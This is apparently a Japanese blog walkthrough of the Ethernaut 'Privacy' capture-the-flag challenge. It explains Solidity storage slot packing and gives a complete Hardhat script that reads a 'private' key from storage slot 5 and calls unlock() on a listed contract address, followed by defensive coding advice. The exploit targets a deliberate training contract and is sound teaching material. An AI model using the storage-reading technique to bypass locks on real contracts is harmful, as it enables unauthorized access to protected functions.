Appearance
スマートコントラクトのストレージ解析:Ethernaut「Privacy」チャレンジの詳細解説
はじめに
Ethernautの「Privacy」チャレンジは、Ethereumスマートコントラクトのストレージメカニズムに対する深い理解を求める高度な課題です。このチャレンジでは、private変数が実際には完全にプライベートではないという、Ethereumの基本的な特性を利用する必要があります。本記事では、ストレージの仕組み、データの取得方法、そして実際の攻撃手法について詳細に解説します。
コントラクトの構造分析
ストレージレイアウト
Solidityコントラクトのストレージは、32バイト(256ビット)のスロットが連続した配列として構成されています。変数は宣言順にこれらのスロットに格納され、複数の小さな変数が同じスロットにパックされることがあります。
Privacyコントラクトの変数宣言を見てみましょう:
solidity
bool public locked = true; // スロット0
uint256 public ID = block.timestamp; // スロット1
uint8 private flattening = 10; // スロット2(最初の部分)
uint8 private denomination = 255; // スロット2(2番目の部分)
uint16 private awkwardness = uint16(block.timestamp); // スロット2(3番目の部分)
bytes32[3] private data; // スロット3, 4, 5
ストレージパッキングの詳細
EVMはストレージ使用を最適化するため、複数の小さな値型変数を単一の32バイトスロットに「パック」します。上記の変数の場合:
locked(bool, 1バイト): スロット0ID(uint256, 32バイト): スロット1(全体を占有)flattening(uint8, 1バイト),denomination(uint8, 1バイト),awkwardness(uint16, 2バイト): 合計4バイトでスロット2にパックdata配列: 各要素が32バイトなので、スロット3, 4, 5にそれぞれ格納
プライバシーの誤解:private変数の実際
Solidityのprivateキーワードは、他のコントラクトから直接アクセスできないことを意味しますが、ブロックチェーンの性質上、ストレージデータは完全に公開されています。Ethereumノードはeth_getStorageAtなどのRPCメソッドを通じて、任意のコントラクトの任意のストレージスロットを読み取ることができます。
ストレージアクセスの基本原理
Ethereumのストレージは、キー-値ストアとして機能します:
- キー:ストレージスロットのインデックス(0から始まる)
- 値:32バイトのデータ
ストレージ読み取りの基本構文:
javascript
// Web3.jsの場合
const data = await web3.eth.getStorageAt(contractAddress, slotNumber);
// ethers.jsの場合
const data = await provider.getStorageAt(contractAddress, slotNumber);
攻撃手法の詳細な解説
ステップ1:ストレージレイアウトの特定
まず、unlock関数の条件を確認します:
solidity
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
この関数はdata[2](bytes32)の最初の16バイトと等しいbytes16キーを要求しています。data配列は3番目のスロットから始まるため:
data[0]: スロット3data[1]: スロット4data[2]: スロット5
ステップ2:ストレージからのデータ取得
スロット5からdata[2]の値を取得します:
typescript
// スロット5からデータを取得
const SLOT5 = 5;
const data2 = await ethers.provider.getStorage(PRIVACY_ADDRESS, SLOT5);
console.log("Raw data[2]:", data2);
// 例: 0x6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a
ステップ3:データの変換
data[2]はbytes32型ですが、unlock関数はbytes16を期待しています。Solidityでは、bytes32からbytes16へのキャストは最初の16バイトを保持します。
typescript
// bytes32からbytes16への変換(最初の16バイトを取得)
const key = data2.slice(0, 34); // 0x + 32文字(16バイト)
console.log("Key (bytes16):", key);
// 例: 0x6e7a6e7a6e7a6e7a6e7a6e7a6e7a6e7a
ステップ4:コントラクトのアンロック
取得したキーを使用してunlock関数を呼び出します:
typescript
// 現在の状態を確認
const LOCKED = true;
let stateLocked = await privacyContract.locked();
expect(stateLocked).to.be.equals(LOCKED);
// unlock関数を呼び出し
const tx = await privacyContract.unlock(key);
await tx.wait();
// 状態が変更されたことを確認
const UNLOCKED = false;
stateLocked = await privacyContract.locked();
expect(stateLocked).to.be.equals(UNLOCKED);
完全な攻撃スクリプト
以下は、Hardhat環境で実行可能な完全なテストスクリプトです:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Contract } from "ethers";
describe("Privacy Attack", function () {
let privacyContract: Contract;
const PRIVACY_ADDRESS = "0x131c3249e115491E83De375171767Af07906eA36"; // 実際のコントラクトアドレス
it("Should unlock the Privacy contract", async function () {
// 1. コントラクトインスタンスの作成
const [attacker] = await ethers.getSigners();
// 最小限のABIでコントラクトに接続
const PRIVACY_ABI = [
"function locked() view returns (bool)",
"function unlock(bytes16 _key) public"
];
privacyContract = new ethers.Contract(
PRIVACY_ADDRESS,
PRIVACY_ABI,
attacker
);
// 2. 初期状態の確認
console.log("Initial locked state:", await privacyContract.locked());
// 3. ストレージスロット5からdata[2]を取得
const SLOT5 = 5;
const data2 = await ethers.provider.getStorage(PRIVACY_ADDRESS, SLOT5);
console.log("Storage slot 5 (data[2]):", data2);
// 4. bytes32からbytes16への変換(最初の16バイト)
// bytes32: 0x + 64文字 = 32バイト
// bytes16: 0x + 32文字 = 16バイト
const key = data2.slice(0, 34); // 最初の34文字(0x + 32文字)
console.log("Extracted key (bytes16):", key);
// 5. unlock関数の呼び出し
console.log("Calling unlock function...");
const tx = await privacyContract.unlock(key);
await tx.wait();
// 6. 状態の確認
const finalState = await privacyContract.locked();
console.log("Final locked state:", finalState);
// 7. 検証
expect(finalState).to.be.false;
console.log("✅ Contract successfully unlocked!");
});
it("Should demonstrate storage layout", async function () {
// すべてのストレージスロットを表示
console.log("\n=== Storage Layout Analysis ===");
for (let i = 0; i < 6; i++) {
const slotData = await ethers.provider.getStorage(PRIVACY_ADDRESS, i);
console.log(`Slot ${i}: ${slotData}`);
// スロット2の詳細な解析
if (i === 2) {
console.log(" Slot 2 contains:");
console.log(" - flattening (uint8):", parseInt(slotData.slice(-2), 16));
console.log(" - denomination (uint8):", parseInt(slotData.slice(-4, -2), 16));
console.log(" - awkwardness (uint16):", parseInt(slotData.slice(-8, -4), 16));
}
}
});
});
防御策とベストプラクティス
1. 機密データのオンチェーン保存を避ける
最も重要な原則は、真に機密なデータをブロックチェーン上に保存しないことです。
solidity
// ❌ 悪い例:機密データを直接保存
bytes32 private secretPassword;
// ✅ 良い例:ハッシュのみを保存
bytes32 public passwordHash;
function setPassword(string memory _password) public {
passwordHash = keccak256(abi.encodePacked(_password));
}
function verifyPassword(string memory _password) public view returns (bool) {
return keccak256(abi.encodePacked(_password)) == passwordHash;
}
2. 暗号化の使用
オンチェーンでデータを保存する必要がある場合は、クライアント側で暗号化します:
solidity
// 暗号化されたデータのみを保存
struct EncryptedData {
bytes encryptedContent;
bytes32 encryptionNonce;
}
mapping(address => EncryptedData) private userData;
// データはクライアント側で暗号化されてから送信される
function storeEncryptedData(bytes memory _encryptedData, bytes32 _nonce) public {
userData[msg.sender] = EncryptedData(_encryptedData, _nonce);
}
3. アクセス制御の強化
solidity
import "@openzeppelin/contracts/access/Ownable.sol";
contract SecurePrivacy is Ownable {
bool public locked = true;
bytes32 private secretData;
// マッピングを使用して動的なストレージレイアウトを作成
mapping(bytes32 => bytes32) private encryptedSecrets;
// データへのアクセスを制限
function unlockWithProof(bytes32 _proof) public {
require(_proof == keccak256(abi.encodePacked(secretData, block.number)), "Invalid proof");
require(locked, "Already unlocked");
locked = false;
}
// オーナーのみが秘密データを設定可能
function setSecretData(bytes32 _secret) public onlyOwner {
secretData = _secret;
}
}
高度な解析ツールと手法
1. ストレージ解析ツール
bash
# cast(Foundryツール)を使用したストレージ解析
cast storage 0x131c3249e115491E83De375171767Af07906eA36 0 --rpc-url $RPC_URL
cast storage 0x131c3249e115491E83De375171767Af07906eA36 1 --rpc-url $RPC_URL
# ... すべてのスロットを確認
# ストレージレイアウトのダンプ
forge inspect Privacy storage --pretty
2. カスタムスクリプトによる詳細解析
javascript
// 詳細なストレージ解析スクリプト
async function analyzeStorage(contractAddress) {
const provider = new ethers.providers.JsonRpcProvider(RPC_URL);
// 最初の10スロットを分析
for (let slot = 0; slot < 10; slot++) {
const data = await provider.getStorageAt(contractAddress, slot);
console.log(`\n=== Slot ${slot} ===`);
console.log(`Raw: ${data}`);
console.log(`As uint256: ${BigInt(data)}`);
// 様々な型として解釈を試みる
if (data !== '0x0000000000000000000000000000000000000000000000000000000000000000') {
// アドレスとして解釈(最後の20バイト)
const asAddress = '0x' + data.slice(-40);
console.log(`Possible address: ${asAddress}`);
// bytesとして解釈
console.log(`As bytes: ${data}`);
}
}
}
まとめ
Ethernautの「Privacy」チャレンジは、Ethereumスマートコントラクト開発における重要な教訓を提供しています:
ブロックチェーン上のデータは本質的に公開されている -
privateキーワードは他のコントラクトからのアクセスを防ぐだけで、誰でもストレージを読み取ることができます。ストレージの最適化を理解する - EVMはストレージ使用を最適化するため、複数の変数が同じスロットにパックされることがあります。
セキュリティはレイヤーで考える - 単一のセキュリティメカニズムに依存せず、多層防御を実装する必要があります。
適切なツールの使用 - Remix、Hardhat、Foundryなどのツールを活用して、コントラクトの内部状態を分析できます。
このチャレンジを通じて、スマートコントラクト開発者は、データのプライバシーとセキュリティについてより慎重に考える必要があることを学びます。真に機密性の高いデータはオフチェーンで管理し、必要な場合のみ暗号化ハッシュやゼロ知識証明などの技術を利用することが、安全なスマートコントラクト開発の鍵となります。